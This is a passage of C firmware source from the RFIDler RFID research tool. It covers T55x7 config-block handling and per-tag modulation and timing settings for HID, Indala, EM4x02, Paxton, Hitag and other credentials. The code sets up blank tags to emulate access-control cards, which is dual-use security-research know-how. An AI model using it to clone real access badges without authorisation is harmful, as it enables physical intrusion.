UserMessage("%s\r\n", (BYTE *) T55x7_Compat_Modulation[GET_CONFIG(value, T55X7_MASK_MODULATION, T55X7_SHIFT_MODULATION)]);
UserMessage(" SST: %s\r\n", GET_CONFIG(value, T55X7_XMODE_MASK_SST, T55X7_SHIFT_ST_SST) ? "True" : "False");
}
else
{
UserMessageNum(" Data Rate: %02d = ", GET_CONFIG(value, T55X7_COMPAT_MASK_DATA_BIT_RATE, T55X7_SHIFT_DATA_BIT_RATE));
UserMessageNum("%d * FC\r\n", T55x7_Compat_Data_Rates[GET_CONFIG(value, T55X7_COMPAT_MASK_DATA_BIT_RATE, T55X7_SHIFT_DATA_BIT_RATE)]);
UserMessageNum(" Modulation: %02d = ", GET_CONFIG(value, T55X7_MASK_MODULATION, T55X7_SHIFT_MODULATION));
if(GET_CONFIG(value, T55X7_MASK_MODULATION, T55X7_SHIFT_MODULATION) > 8)
{
if(GET_CONFIG(value, T55X7_MASK_MODULATION, T55X7_SHIFT_MODULATION)== 16)
UserMessage("%s\r\n", "BiPhase ('50)");
else
UserMessage("%s\r\n", "Reserved/Invalid");
}
else
UserMessage("%s\r\n", (BYTE *) T55x7_Compat_Modulation[GET_CONFIG(value, T55X7_MASK_MODULATION, T55X7_SHIFT_MODULATION)]);
UserMessage(" ST: %s\r\n", GET_CONFIG(value, T55X7_COMPAT_MASK_ST, T55X7_SHIFT_ST_SST) ? "True" : "False");
}
// display common fields
UserMessageNum(" PSK Carrier: %d = ", GET_CONFIG(value, T55X7_MASK_PSK_CARRIER_FREQ, T55X7_SHIFT_PSK_CARRIER_FREQ));
if(GET_CONFIG(value, T55X7_MASK_PSK_CARRIER_FREQ, T55X7_SHIFT_PSK_CARRIER_FREQ) > 2)
UserMessage("%s\r\n", "Reserved");
else
UserMessageNum("%d * FC\r\n", GET_CONFIG(value, T55X7_MASK_PSK_CARRIER_FREQ, T55X7_SHIFT_PSK_CARRIER_FREQ) * 2 + 2);
UserMessageNum(" Maxblock: %d\r\n", GET_CONFIG(value, T55X7_MASK_MAX_BLOCK, T55X7_SHIFT_MAX_BLOCK));
UserMessage(" AOR: %s\r\n", GET_CONFIG(value, T55X7_MASK_AOR, T55X7_SHIFT_AOR) ? "True" : "False");
UserMessage(" OTP: %s\r\n", GET_CONFIG(value, T55X7_MASK_OTP, T55X7_SHIFT_OTP) ? "True" : "False");
UserMessage(" PWD: %s\r\n", GET_CONFIG(value, T55X7_MASK_PWD, T55X7_SHIFT_PWD) ? "True" : "False");
UserMessage(" Fast Write: %s\r\n", GET_CONFIG(value, T55X7_MASK_FAST_WRITE, T55X7_SHIFT_FAST_WRITE) ? "True" : "False");
UserMessage(" Inverse Data: %s\r\n", GET_CONFIG(value, T55X7_MASK_INVERSE_DATA, T55X7_SHIFT_INVERSE_DATA) ? "True" : "False");
UserMessage(" POR Delay: %s\r\n", GET_CONFIG(value, T55X7_MASK_POR_DELAY, T55X7_SHIFT_POR_DELAY) ? "True" : "False");
UserMessage("\r\n PWD Block (7): %.8s ", password);
printhexreadable(password, 4);
UserMessage("%s", "\r\n");
return TRUE;
}
//// create a config block based on current tag settings
BOOL t55x7_create_config_block(BYTE *config)
{
uint32_t value= hextoulong(config);
BYTE i, tmp, xmode= FALSE;
// first decide if we need to be in extended mode or not
// invert is only supported in x-mode
if(RFIDlerConfig.Invert)
xmode= TRUE;
// is data rate supported by compat mode?
for(i= 0, tmp= FALSE ; i < sizeof(T55x7_Compat_Data_Rates) ; ++i)
if(RFIDlerConfig.DataRate == T55x7_Compat_Data_Rates[i])
{
tmp= TRUE;
break;
}
if(!tmp)
xmode= TRUE;
// data rate
if(xmode)
{
value= SET_CONFIG(value, T55X7_MASK_MASTER_KEY, T55X7_SHIFT_MASTER_KEY, T55X7_XMODE_MODE);
value= SET_CONFIG(value, T55X7_MASK_XMODE, T55X7_SHIFT_XMODE, TRUE);
value= SET_CONFIG(value, T55X7_XMODE_MASK_DATA_BIT_RATE, T55X7_SHIFT_DATA_BIT_RATE, (RFIDlerConfig.DataRate - 2) / 2);
}
else
value= SET_CONFIG(value, T55X7_COMPAT_MASK_DATA_BIT_RATE, T55X7_SHIFT_DATA_BIT_RATE, i);
// psk sub-carrier
if(RFIDlerConfig.DataRateSub0)
value= SET_CONFIG(value, T55X7_MASK_PSK_CARRIER_FREQ, T55X7_SHIFT_PSK_CARRIER_FREQ, RFIDlerConfig.DataRateSub0 / 4);
// modulation
if(RFIDlerConfig.Manchester && RFIDlerConfig.Modulation == MOD_MODE_ASK_OOK)
tmp= T55X7_MOD_MANCHESTER;
else
{
// todo - add general support for biphase 57 (but this is just biphase 50 with inversion)
if(RFIDlerConfig.BiPhase && RFIDlerConfig.Modulation == MOD_MODE_ASK_OOK)
tmp= T55X7_MOD_BIPHASE_50;
else
switch(RFIDlerConfig.Modulation)
{
case MOD_MODE_ASK_OOK:
tmp= T55X7_MOD_DIRECT;
break;
case MOD_MODE_FSK1:
tmp= T55X7_MOD_FSK1;
break;
case MOD_MODE_FSK2:
tmp= T55X7_MOD_FSK2;
break;
case MOD_MODE_PSK1:
tmp= T55X7_MOD_PSK1;
break;
case MOD_MODE_PSK2:
tmp= T55X7_MOD_PSK2;
break;
case MOD_MODE_PSK3:
tmp= T55X7_MOD_PSK3;
break;
default:
return FALSE;
}
}
value= SET_CONFIG(value, T55X7_MASK_MODULATION, T55X7_SHIFT_MODULATION, tmp);
// data blocks
value= SET_CONFIG(value, T55X7_MASK_MAX_BLOCK, T55X7_SHIFT_MAX_BLOCK, RFIDlerConfig.DataBits / T55X7_BLOCKSIZE);
ulongtohex(config, value);
return TRUE;
}
// set a config block suitable for emulating
BOOL t55x7_emulate_config_block(BYTE *config, BYTE target_tagtype)
{
switch (target_tagtype)
{
case TAG_TYPE_ASK_RAW:
case TAG_TYPE_FSK1_RAW:
case TAG_TYPE_FSK2_RAW:
case TAG_TYPE_PSK1_RAW:
case TAG_TYPE_PSK2_RAW:
case TAG_TYPE_PSK3_RAW:
memcpy(config, T55X7_RAW_CONFIG_BLOCK, HEXDIGITS(T55X7_BLOCKSIZE));
t55x7_create_config_block(config);
return TRUE;
case TAG_TYPE_AWID_26:
case TAG_TYPE_HID_26:
memcpy(config, T55X7_HID_26_CONFIG_BLOCK, HEXDIGITS(T55X7_BLOCKSIZE));
return TRUE;
case TAG_TYPE_FDXB:
memcpy(config, T55X7_FDXB_CONFIG_BLOCK, HEXDIGITS(T55X7_BLOCKSIZE));
return TRUE;
case TAG_TYPE_INDALA_64:
memcpy(config, T55X7_INDALA_64_CONFIG_BLOCK, HEXDIGITS(T55X7_BLOCKSIZE));
return TRUE;
case TAG_TYPE_INDALA_224:
memcpy(config, T55X7_INDALA_224_CONFIG_BLOCK, HEXDIGITS(T55X7_BLOCKSIZE));
return TRUE;
case TAG_TYPE_EM4X02:
case TAG_TYPE_UNIQUE:
case TAG_TYPE_PAXTON:
memcpy(config, T55X7_EM_UNIQUE_CONFIG_BLOCK, HEXDIGITS(T55X7_BLOCKSIZE));
return TRUE;
case TAG_TYPE_T55X7:
memcpy(config, T55X7_DEFAULT_CONFIG_BLOCK, HEXDIGITS(T55X7_BLOCKSIZE));
return TRUE;
default:
return FALSE;
}
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/tags.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2015 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include "HardwareProfile.h"
#include "awid.h"
#include "clock.h"
#include "comms.h"
#include "em.h"
#include "fdxb.h"
#include "hdx.h"
#include "hitag.h"
#include "hid.h"
#include "indala.h"
#include "q5.h"
#include "rfidler.h"
#include "t55x7.h"
#include "tags.h"
#include "uid.h"
#include "unique.h"
#include "paxton.h"
#include "util.h"
#include "write.h"
// tagtype #defines in rfidler.h
const BYTE *TagTypes[]= {
"NONE",
"ASKRAW",
"FSK1RAW",
"FSK2RAW",
"PSK1RAW",
"PSK2RAW",
"PSK3RAW",
"HITAG1",
"HITAG2",
"EM4X02",
"Q5",
"HID26",
"INDALA64",
"INDALA224",
"UNIQUE",
"FDXB",
"T55X7",
"AWID26",
"EM4X05",
"TAMAGOTCHI",
"HDX",
"PAXTON",
NULL
};
// see rfidler.h for #defined constants
const BYTE *ModulationSchemes[] = {
"None",
"ASK/OOK",
"FSK",
"FSK",
"PSK",
"PSK",
"PSK",
NULL
};
void tag_list(void)
{
unsigned char i;
UserMessage("%s", "\r\nKnown TAG types:\r\n");
for(i= 1 ; TagTypes[i] != NULL ; ++i)
{
UserMessage("\r\n %s", (BYTE *) TagTypes[i]);
}
UserMessage("%s", "\r\n");
}
BYTE tag_get_type(BYTE *tag)
{
BYTE i;
for(i= 0 ; TagTypes[i] != NULL ; ++i)
if(strcmp(tag, TagTypes[i]) == 0)
return i;
return 0;
}
unsigned int tag_get_blocksize(BYTE tag)
{
switch(tag)
{
// raw tag types return blocksize of emulator tag
case TAG_TYPE_ASK_RAW:
case TAG_TYPE_FSK1_RAW:
case TAG_TYPE_FSK2_RAW:
case TAG_TYPE_PSK1_RAW:
case TAG_TYPE_PSK2_RAW:
case TAG_TYPE_PSK3_RAW:
return tag_get_blocksize(RFIDlerVTag.TagType);
case TAG_TYPE_EM4X05:
return EM4X05_BLOCKSIZE;
case TAG_TYPE_HITAG1:
return HITAG1_BLOCKSIZE;
case TAG_TYPE_HITAG2:
return HITAG2_BLOCKSIZE;
case TAG_TYPE_Q5:
return Q5_BLOCKSIZE;
case TAG_TYPE_T55X7:
return T55X7_BLOCKSIZE;
default:
return 0;
}
}
unsigned int tag_get_datablocks(BYTE tag)
{
switch(tag)
{
// raw tag types return number of blocks needed for emulator tag type
case TAG_TYPE_ASK_RAW:
case TAG_TYPE_FSK1_RAW:
case TAG_TYPE_FSK2_RAW:
case TAG_TYPE_PSK1_RAW:
case TAG_TYPE_PSK2_RAW:
case TAG_TYPE_PSK3_RAW:
return RFIDlerConfig.DataBits / tag_get_blocksize(RFIDlerVTag.TagType);
case TAG_TYPE_EM4X05:
return EM4X05_DATABLOCKS;
case TAG_TYPE_HITAG1:
return HITAG1_DATABLOCKS;
case TAG_TYPE_HITAG2:
return HITAG2_DATABLOCKS;
case TAG_TYPE_Q5:
return Q5_DATABLOCKS;
case TAG_TYPE_T55X7:
return T55X7_DATABLOCKS;
default:
return 0;
}
}
unsigned int tag_get_databits(BYTE tag)
{
switch(tag)
{
case TAG_TYPE_ASK_RAW:
case TAG_TYPE_FSK1_RAW:
case TAG_TYPE_FSK2_RAW:
case TAG_TYPE_PSK1_RAW:
case TAG_TYPE_PSK2_RAW:
case TAG_TYPE_PSK3_RAW:
return RAW_TAGS_DATABITS;
case TAG_TYPE_EM4X02:
return EM4X02_DATABITS;
case TAG_TYPE_EM4X05:
return EM4X05_DATABLOCKS * EM4X05_BLOCKSIZE;
case TAG_TYPE_HID_26:
return HID26_DATABITS;
case TAG_TYPE_AWID_26:
return AWID26_DATABITS;
case TAG_TYPE_FDXB:
return FDXB_DATABITS;
case TAG_TYPE_HDX:
return HDX_DATABITS;
case TAG_TYPE_HITAG1:
return HITAG1_DATABLOCKS * HITAG1_BLOCKSIZE;
case TAG_TYPE_HITAG2:
return HITAG2_DATABLOCKS * HITAG2_BLOCKSIZE;
case TAG_TYPE_INDALA_64:
return INDALA_64_DATABITS;
case TAG_TYPE_INDALA_224:
return INDALA_224_DATABITS;
case TAG_TYPE_Q5:
return Q5_DATABLOCKS * Q5_BLOCKSIZE;
case TAG_TYPE_T55X7:
return T55X7_DATABLOCKS * T55X7_BLOCKSIZE;
case TAG_TYPE_UNIQUE:
return UNIQUE_DATABITS;
case TAG_TYPE_PAXTON:
return PAXTON_DATABITS;
default:
return 0;
}
}
BYTE auto_detect_tag_type(void)
{
BYTE i, tag, tmp[MAXUID + 1];
tag= RFIDlerConfig.TagType;
UserMessage("%s", "\r\n");
for(i= 1 ; TagTypes[i] != NULL ; ++i)
{
UserMessage("\r\n %s: ", (BYTE *) TagTypes[i]);
tag_set(i);
if(get_interpreted_tag_uid(tmp, RFIDlerConfig.TagType))
UserMessage("%s", tmp);
}
tag_set(tag);
UserMessage("%s", "\r\n");
}
BOOL tag_set(BYTE tag)
{
// reset everything, then set what needs to be changed
// most timings are in FCs unless otherwise specified
// FrameClock itself is in us/100 (i.e. 800 is 8us == 125KHz)
// Timeout is in us
RFIDlerConfig.FrameClock= 0;
RFIDlerConfig.BiPhase= FALSE;
RFIDlerConfig.Manchester= FALSE;
RFIDlerConfig.HalfDuplex= FALSE;
RFIDlerConfig.Invert= FALSE;
RFIDlerConfig.Modulation= MOD_MODE_NONE;
RFIDlerConfig.PotLow= 0;
RFIDlerConfig.PotHigh= 0;
RFIDlerConfig.DataRate= 0;
RFIDlerConfig.DataRateSub0= 0;
RFIDlerConfig.DataRateSub1= 0;
RFIDlerConfig.DataBits= 0;
RFIDlerConfig.TagType= tag;
RFIDlerConfig.Repeat= 0;
RFIDlerConfig.Timeout= 0L;
RFIDlerConfig.Sync[0]= 0x00;
RFIDlerConfig.Sync[1]= 0x00;
RFIDlerConfig.Sync[2]= 0x00;
RFIDlerConfig.Sync[3]= 0x00;
RFIDlerConfig.SyncBits= 0;
RFIDlerConfig.RWD_Gap_Period= 0;
RFIDlerConfig.RWD_Sleep_Period= 0;
RFIDlerConfig.RWD_Wake_Period= 0;
RFIDlerConfig.RWD_Zero_Period= 0;
RFIDlerConfig.RWD_One_Period= 0;
RFIDlerConfig.RWD_Wait_Switch_RX_TX= 0;
RFIDlerConfig.RWD_Wait_Switch_TX_RX= 0;
switch(tag)
{
case TAG_TYPE_NONE:
break;
case TAG_TYPE_ASK_RAW:
RFIDlerConfig.FrameClock= 800; // 125 KHz
RFIDlerConfig.Modulation= MOD_MODE_ASK_OOK;
RFIDlerConfig.PotHigh= 100;
RFIDlerConfig.DataRate= 32;
RFIDlerConfig.DataBits= RAW_TAGS_DATABITS;
RFIDlerConfig.TagType= tag;
RFIDlerConfig.Repeat= 20;
RFIDlerConfig.Timeout= 13000; // timeout in uS (note with prescaler of 16 max is 13107)
RFIDlerConfig.RWD_Wake_Period= 1000;
break;
case TAG_TYPE_AWID_26:
//RFIDlerConfig.FrameClock= 765; // 130.7 KHz (134KHz breaks emulation)
RFIDlerConfig.FrameClock= 800; // 125 KHz
RFIDlerConfig.Modulation= MOD_MODE_FSK2;
RFIDlerConfig.PotHigh= 110;
RFIDlerConfig.DataRate= 50;
RFIDlerConfig.DataRateSub0= 8;
RFIDlerConfig.DataRateSub1= 10;
RFIDlerConfig.DataBits= 96;
RFIDlerConfig.TagType= tag;
RFIDlerConfig.Repeat= 20;
RFIDlerConfig.Timeout= 13000; // timeout in uS (note with prescaler of 16 max is 13107)
RFIDlerConfig.Sync[0]= 0x01;
RFIDlerConfig.Sync[1]= 0x1D;
RFIDlerConfig.Sync[2]= 0x80;
RFIDlerConfig.Sync[3]= 0x00;
RFIDlerConfig.SyncBits= 18;
RFIDlerConfig.RWD_Wake_Period= 1000;
break;
case TAG_TYPE_EM4X02:
case TAG_TYPE_UNIQUE:
case TAG_TYPE_PAXTON:
RFIDlerConfig.FrameClock= 800;
RFIDlerConfig.Manchester= TRUE;
RFIDlerConfig.Modulation= MOD_MODE_ASK_OOK;
RFIDlerConfig.PotHigh= 150;
RFIDlerConfig.DataRate= 64;
RFIDlerConfig.DataBits= 64;
RFIDlerConfig.TagType= tag;
RFIDlerConfig.Repeat= 20;
RFIDlerConfig.Timeout= 13000; // timeout in uS (note with prescaler of 16 max is 13107)
RFIDlerConfig.Sync[0]= 0xFF;
RFIDlerConfig.Sync[1]= 0xFF;
RFIDlerConfig.Sync[2]= 0x00;
RFIDlerConfig.Sync[3]= 0x00;
RFIDlerConfig.SyncBits= 9;
RFIDlerConfig.RWD_Wake_Period= 1000;
break;
// DEBUG: work in progress!
case TAG_TYPE_EM4X05:
RFIDlerConfig.FrameClock= 800; // 125 KHz
RFIDlerConfig.Manchester= TRUE;
RFIDlerConfig.Modulation= MOD_MODE_ASK_OOK;
RFIDlerConfig.PotHigh= 130;
RFIDlerConfig.DataRate= 64;
RFIDlerConfig.DataBits= 53; // 45 bit OTA format + 8 bit preamble
RFIDlerConfig.DataBlocks= EM4X05_DATABLOCKS;
RFIDlerConfig.BlockSize= EM4X05_BLOCKSIZE;
RFIDlerConfig.TagType= tag;
RFIDlerConfig.Repeat= 20;
RFIDlerConfig.Timeout= 13000; // timeout in uS (note with prescaler of 16 max is 13107)
RFIDlerConfig.RWD_Wake_Period= 1000; // docco says max 3 ms, but round up a bit
RFIDlerConfig.RWD_Gap_Period= 55; // First Field Stop
RFIDlerConfig.RWD_Sleep_Period= 2000;
RFIDlerConfig.RWD_Zero_Period= 16; // note that em4x05 uses it's own PWM scheme
RFIDlerConfig.RWD_One_Period= 32; // see em.c for details
RFIDlerConfig.RWD_Wait_Switch_TX_RX= 60; // doc says 544us, (9.34 + 1.38 ms when eeprom write), but tests are much shorter!
RFIDlerConfig.RWD_Wait_Switch_RX_TX= 80; // docs say 544, so about 68 fcs
break;
case TAG_TYPE_FDXB:
RFIDlerConfig.FrameClock= 745; // 134.2 KHz
RFIDlerConfig.BiPhase= TRUE;
RFIDlerConfig.Invert= TRUE;
RFIDlerConfig.Modulation= MOD_MODE_ASK_OOK;
RFIDlerConfig.PotHigh= 130;
RFIDlerConfig.DataRate= 32;
RFIDlerConfig.DataBits= 128;
RFIDlerConfig.TagType= tag;
RFIDlerConfig.Repeat= 20;
RFIDlerConfig.Timeout= 13000; // timeout in uS (note with prescaler of 16 max is 13107)
RFIDlerConfig.Sync[0]= 0x00;
RFIDlerConfig.Sync[1]= 0x20;
RFIDlerConfig.Sync[2]= 0x00;
RFIDlerConfig.Sync[3]= 0x00;
RFIDlerConfig.SyncBits= 11;
RFIDlerConfig.RWD_Wake_Period= 1000;
break;
case TAG_TYPE_FSK1_RAW:
RFIDlerConfig.FrameClock= 800;
RFIDlerConfig.Modulation= MOD_MODE_FSK1;
RFIDlerConfig.PotHigh= POTHIGH_DEFAULT;
RFIDlerConfig.DataRate= 50;
RFIDlerConfig.DataRateSub0= 8;
RFIDlerConfig.DataRateSub1= 5;
RFIDlerConfig.DataBits= RAW_TAGS_DATABITS;
RFIDlerConfig.TagType= tag;
RFIDlerConfig.Repeat= 20;
RFIDlerConfig.Timeout= 13000; // timeout in uS (note with prescaler of 16 max is 13107)
RFIDlerConfig.RWD_Wake_Period= 1000;
break;
case TAG_TYPE_FSK2_RAW:
RFIDlerConfig.FrameClock= 800;
RFIDlerConfig.Modulation= MOD_MODE_FSK2;
RFIDlerConfig.PotHigh= 90;
RFIDlerConfig.DataRate= 50;
RFIDlerConfig.DataRateSub0= 8;
RFIDlerConfig.DataRateSub1= 10;
RFIDlerConfig.DataBits= RAW_TAGS_DATABITS;
RFIDlerConfig.TagType= tag;
RFIDlerConfig.Repeat= 20;
RFIDlerConfig.Timeout= 13000; // timeout in uS (note with prescaler of 16 max is 13107)
RFIDlerConfig.RWD_Wake_Period= 1000;
break;
case TAG_TYPE_HID_26:
//RFIDlerConfig.FrameClock= 765; // 130.7 KHz (134KHz breaks emulation)
RFIDlerConfig.FrameClock= 800; // 125 KHz
RFIDlerConfig.Modulation= MOD_MODE_FSK2;
RFIDlerConfig.PotHigh= 110;
RFIDlerConfig.DataRate= 50;
RFIDlerConfig.DataRateSub0= 8;
RFIDlerConfig.DataRateSub1= 10;
RFIDlerConfig.DataBits= 96;
RFIDlerConfig.TagType= tag;
RFIDlerConfig.Repeat= 20;
RFIDlerConfig.Timeout= 13000; // timeout in uS (note with prescaler of 16 max is 13107)
RFIDlerConfig.Sync[0]= 0x1D;
RFIDlerConfig.Sync[1]= 0x55;
RFIDlerConfig.Sync[2]= 0x00;
RFIDlerConfig.Sync[3]= 0x00;
RFIDlerConfig.SyncBits= 16;
RFIDlerConfig.RWD_Wake_Period= 1000;
break;
case TAG_TYPE_HITAG1:
RFIDlerConfig.FrameClock= 800;
RFIDlerConfig.Manchester= TRUE;
RFIDlerConfig.Modulation= MOD_MODE_ASK_OOK;
RFIDlerConfig.PotHigh= 170;
RFIDlerConfig.DataRate= 32;
RFIDlerConfig.DataBits= 33; //
RFIDlerConfig.DataBlocks= HITAG1_DATABLOCKS;
RFIDlerConfig.BlockSize= HITAG1_BLOCKSIZE;
RFIDlerConfig.TagType= tag;
RFIDlerConfig.Repeat= 20;
RFIDlerConfig.Timeout= 13000; // timeout in uS (note with prescaler of 16 max is 13107)
RFIDlerConfig.RWD_Gap_Period= 4; // 4 - 10
RFIDlerConfig.RWD_Sleep_Period= 2000;
RFIDlerConfig.RWD_Wake_Period= 500; // documentations says ~3ms, so round up a bit
RFIDlerConfig.RWD_Zero_Period= 18; // 18 - 22
RFIDlerConfig.RWD_One_Period= 26; // 26 - 32
RFIDlerConfig.RWD_Wait_Switch_TX_RX= 180; // docs say 204, so stop a little earlier so we catch leading edge
RFIDlerConfig.RWD_Wait_Switch_RX_TX= 120; // docs say 96, so give it a bit longer t0 be safe!
RFIDlerConfig.SyncBits= 0;
RFIDlerConfig.Sync[0]= 0x00;
RFIDlerConfig.Sync[0]= 0x00;
RFIDlerConfig.Sync[0]= 0x00;
RFIDlerConfig.Sync[0]= 0x00;
break;
case TAG_TYPE_HITAG2:
RFIDlerConfig.FrameClock= 800;
RFIDlerConfig.Manchester= TRUE;
RFIDlerConfig.Modulation= MOD_MODE_ASK_OOK;
RFIDlerConfig.PotHigh= 160;
RFIDlerConfig.DataRate= 32;
RFIDlerConfig.DataBits= 37; // 5 bits leadin + 32 bits ID
RFIDlerConfig.DataBlocks= HITAG2_DATABLOCKS;
RFIDlerConfig.BlockSize= HITAG2_BLOCKSIZE;
RFIDlerConfig.TagType= tag;
RFIDlerConfig.Repeat= 20;
RFIDlerConfig.Timeout= 13000; // timeout in uS (note with prescaler of 16 max is 13107)
RFIDlerConfig.RWD_Gap_Period= 3; // 4 - 10 (we use 3 to allow for sloppiness in RWD timings)
RFIDlerConfig.RWD_Sleep_Period= 2000; // 2000;
RFIDlerConfig.RWD_Wake_Period= 525; // (was 450) must be > 312.5 but less than 544 to allow reset of user modes
RFIDlerConfig.RWD_Zero_Period= 18; // 18 - 22
RFIDlerConfig.RWD_One_Period= 26; // 26 - 32
RFIDlerConfig.RWD_Wait_Switch_TX_RX= 150; // docs say 199 - 206 but in practice it can be less
RFIDlerConfig.RWD_Wait_Switch_RX_TX= 90;
RFIDlerConfig.Sync[0]= 0xF8;
RFIDlerConfig.Sync[1]= 0x00;
RFIDlerConfig.Sync[2]= 0x00;
RFIDlerConfig.Sync[3]= 0x00;
RFIDlerConfig.SyncBits= 5;
break;
case TAG_TYPE_INDALA_64:
RFIDlerConfig.FrameClock= 800;
RFIDlerConfig.Modulation= MOD_MODE_PSK1;
RFIDlerConfig.PotLow= POTLOW_DEFAULT;
RFIDlerConfig.PotHigh= 170;
RFIDlerConfig.DataRate= 32;
RFIDlerConfig.DataRateSub0= 2;
RFIDlerConfig.DataBits= 64;
RFIDlerConfig.TagType= tag;
RFIDlerConfig.Repeat= 20;
RFIDlerConfig.Timeout= 13000; // timeout in uS (note with prescaler of 16 max is 13107)
RFIDlerConfig.PSK_Quality= 4L;
RFIDlerConfig.Sync[0]= 0x00;
RFIDlerConfig.Sync[1]= 0x00;
RFIDlerConfig.Sync[2]= 0x00;
RFIDlerConfig.Sync[3]= 0x00;
RFIDlerConfig.SyncBits= 24;
RFIDlerConfig.RWD_Wake_Period= 1000;
break;
case TAG_TYPE_INDALA_224:
RFIDlerConfig.FrameClock= 800;
RFIDlerConfig.Modulation= MOD_MODE_PSK1;
RFIDlerConfig.PotLow= POTLOW_DEFAULT;
RFIDlerConfig.PotHigh= 170;
RFIDlerConfig.DataRate= 32;
RFIDlerConfig.DataRateSub0= 2;
RFIDlerConfig.DataBits= 224;
RFIDlerConfig.TagType= tag;
RFIDlerConfig.Repeat= 20;
RFIDlerConfig.Timeout= 13000; // timeout in uS (note with prescaler of 16 max is 13107)
RFIDlerConfig.PSK_Quality= 4L;
RFIDlerConfig.Sync[0]= 0x00;
RFIDlerConfig.Sync[1]= 0x00;
RFIDlerConfig.Sync[2]= 0x00;
RFIDlerConfig.Sync[3]= 0x00;
RFIDlerConfig.SyncBits= 24;
RFIDlerConfig.RWD_Wake_Period= 1000;
break;
case TAG_TYPE_PSK1_RAW:
RFIDlerConfig.FrameClock= 800;
RFIDlerConfig.Modulation= MOD_MODE_PSK1;
RFIDlerConfig.PotLow= POTLOW_DEFAULT;
RFIDlerConfig.PotHigh= POTHIGH_DEFAULT;
RFIDlerConfig.DataRate= 32;
RFIDlerConfig.DataRateSub0= 2;
RFIDlerConfig.DataBits= RAW_TAGS_DATABITS;
RFIDlerConfig.TagType= tag;
RFIDlerConfig.Repeat= 20;
RFIDlerConfig.Timeout= 13000; // timeout in uS (note with prescaler of 16 max is 13107)
RFIDlerConfig.PSK_Quality= 4L;
RFIDlerConfig.RWD_Wake_Period= 1000;
break;
case TAG_TYPE_Q5:
RFIDlerConfig.FrameClock= 800;
RFIDlerConfig.Manchester= TRUE;
RFIDlerConfig.Modulation= MOD_MODE_ASK_OOK;
